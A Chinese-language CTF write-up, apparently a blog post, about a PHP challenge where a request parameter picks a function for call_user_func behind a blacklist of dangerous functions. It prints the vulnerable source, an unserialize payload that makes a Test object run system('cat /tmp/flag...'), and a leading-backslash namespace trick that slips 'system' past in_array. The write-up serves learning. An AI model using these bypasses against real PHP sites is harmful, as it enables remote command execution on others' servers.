本文已参与「新人创作礼」活动,一起开启掘金创作之路。
1NDEX
0x00 前言
之前做的没写笔记…现在补一下┭┮﹏┭┮
一打开看到孙🐕有点小晦气
看到网页不停回显warning
抓个包看看
比较明显:函数名+参数
🆗尝试读一下源码 似乎除了file_get_contents全被禁了
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
因为返回结果字符串校验的缘故
我们即使通过scandir(返回array)读取目录也无法回显出来
而只能绕过检测去命令执行
注意 system是可以输出执行结果的
当初到这就嘎了,知识储备有限,脑子不够灵活
看了师傅的wp,可以用反序列化,我的天 这是什么天才…
&&还可以绕过in_array
0x01 复现
反序列化
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
两步就done了
in_array绕过
in_array原文档
in_array
(PHP 4, PHP 5, PHP 7, PHP 8)
in_array — 检查数组中是否存在某个值
说明 ¶
in_array(mixed $needle, array $haystack, bool $strict = false): bool
大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。
参数 ¶
needle
待搜索的值。
注意:
如果 needle 是字符串,则比较是区分大小写的。
haystack
待搜索的数组。
strict
如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。
此处可以通过命名空间绕过
关于命名空间
PHP 命名空间(namespace)
PHP 命名空间(namespace)是在PHP 5.3中加入的,如果你学过C#和Java,那命名空间就不算什么新事物。 不过在PHP当中还是有着相当重要的意义。
PHP 命名空间可以解决以下两类问题:
用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突。
为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名(或简短)的名称,提高源代码的可读性。
定义命名空间
默认情况下,所有常量、类和函数名都放在全局空间下,就和PHP支持命名空间之前一样。
命名空间通过关键字namespace 来声明。如果一个文件中包含命名空间,它必须在其它所有代码之前声明命名空间。语法格式如下;
<?php
// 定义代码在 'MyProject' 命名空间中
namespace MyProject;
// ... 代码 ...
你也可以在同一个文件中定义不同的命名空间代码,如:
localtest一下
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
$func = $_GET['f'];
var_dump($func);
echo "<br>";
$p='whoami';
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun,true)) {
echo 'successs</br>';
$func($p);
}else {
die("Hacker...");
}
}
?>
个人理解
\system之后该字符串确实不在blacklist中
进行函数调用时,由于前面没有命名空间
所以还是默认调用了PHP内部的函数
done!
参考文章
0x02 Rethink
魔芋结束了,回来继续学了
想想还是脚踏实地从前往后刷题吧,总不能直接刷零解题⑧…